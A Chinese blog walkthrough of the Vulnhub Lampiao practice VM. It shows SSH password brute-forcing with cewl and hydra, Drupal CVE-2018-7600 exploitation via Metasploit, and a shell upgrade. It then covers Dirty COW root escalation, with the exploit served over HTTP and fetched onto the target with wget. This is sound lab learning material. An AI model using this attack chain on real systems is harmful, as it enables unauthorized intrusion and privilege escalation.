Vulnhub-Lampiao 靶机练习

1. 基本信息

Kali IP: 192.168.26.131

靶机IP: 192.168.26.134

2. 信息收集

开启靶机,确定IP

同时使用 nmap -sn 也能确定

确定为 192.168.26.134

对其进行端口扫描

对端口进行详细信息扫描

3. 渗透测试

21端口关闭,就先着手查看80和1898

查看打开80端口页面,就简单的靶机logo

查看 1898端口页面

看到登录页面,尝试sql注入,无果

查看下面的帖子

在参数 ?q=node/3下,有段mp3的音频,尝试听一下,没有什么重要信息

尝试改变参数为 ?q=node/1 为home页面第一篇文章

?q=node/2

查看qrc.png 为一个二维码,结果为:Try Harder!Mua Huahua

听 audio.m4a 为:user:tiago

到此可以尝试爆破密码

3.1. Get Shell

利用cewl工具爬取网站信息,创建密码字典

cewl http://192.168.26.134:1898 -w lampiao.txt

利用hydra进行爆破

hydra -l tiago -P ./lampiao.txt ssh://192.168.26.134

得到 账号:tiago 密码:Virgulino

利用SSH登陆进去

查看 tiago 账号的 sudo权限,为无

又因为扫到了 robots.txt 文件,进行查看

知道该网站的CMS是 Drupal 7 ,进一步查看CHANGELOG.txt 发现是 Drupal 7.54

在网上搜索 Drupal 7.54 的漏洞,

【漏洞分析】Drupal远程代码执行漏洞(CVE-2018-7600)分析 – 绿盟科技技术博客

云鼎实验室:Drupal CVE-2018-7600 分析及 PoC 构造

查看msf中关于 drupal 的漏洞利用模块

因为文章里讲的是利用API接口的表单渲染功能造成 RCE,所以我们尝试使用第一个模块,获取到shell

利用攻击模块,设置好目标主机和端口后,获取了一个会话,但并非交互式 shell (注意这里 ssh 服务开放,我们需要一个完整正确的终端运行),这里利用 pty 模块创建了一个原生终端。

python -c 'import pty;pty.spawn("/bin/bash")'

实现交互式shell的几种方式 - SAUCERMAN

获取 www-data 的 bash

网站目录里翻阅查看,发现有设置文件,进入 www-data 用户进一步查看文件

发现其数据库账号密码,尝试连接

用 www-data 用户连接数据库

mysql -udrupaluser -pVirgulino

并且查看 drupal 的数据库内容

查看到里面账号和密码都加密了

那就大胆猜测网站账号密码是不是 tiago ssh登录的账号密码Virgulino

或者找到加密算法,也可以修改其密码进行登录,详情可以参考这位大佬的文章:

Vulnhub靶机渗透测试——DC-1 - 简书

【假图片】由于暂停了一次靶机,导致网页访问不到了,所以此处网站登录没有进行尝试,如果有知道的小伙伴可以留言指教~

但是并不影响我们进行提权~

3.2. 提权

查看Linux版本及内核信息

如果低于以下版本则存在脏牛漏洞

Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10         4.8.0-26.28
Ubuntu 16.04         4.4.0-45.66
Ubuntu 14.04         3.13.0-100.147
Debian 8                3.16.36-1+deb8u2
Debian 7                3.2.82-1

对应上面版本

Ubuntu 14.04 内核版本 4.4.0

但我还有个疑问,网上查阅资料,感觉这个内核版本有点对不上Dirty-Cow漏洞版本呢,还请大佬指教

漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

简要分析:该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

选择 40847.cpp

找到其路径,并拷贝到当前文件夹下

开启http服务

python3 -m http.server 8888

靶机在tmp目录下用 wget 下载 cpp文件

进行编译,并运行

g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

-ON

指定代码优化的级别为 N , o <= N <= 3

-std = c++11

就是用按 C++ 2011标准来编译的

-pthread

在 Linux 中要用到多线程时,需要链接 pthread 库

-o FILE

FILE 指定输出文件名,在编译为目标代码时,这一选项不是必须的。如果FILE没有指定,缺省文件名是a.out,这里是 40847

至此,root密码已经爆出:dirtyCowFun

4. 总结

这算是我第一个完整的打下一个靶场吧,从信息收集到漏洞利用到getshell,再到提权,每一步都是摸索着去做的,还需多练!

知识点:

  • 看了一些大佬的视频,信息收集的作用是至关重要的!要详细的进行信息收集,不能漏掉任何一丝可能!
  • 信息收集完,每条信息都需按照可能性进行排序再进行利用,把利用成功概率大的优先尝试,例如 ftp、http端口等
  • 爆破可能性很小,但是未尝不可尝试呢?
  • 也学习到了利用 cewl 进行网站爬取生成字典,不然直接用big wordlist爆破到猴年马月都出不来啊!
  • 提权漏洞还需多尝试多学习,原理还不理解
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值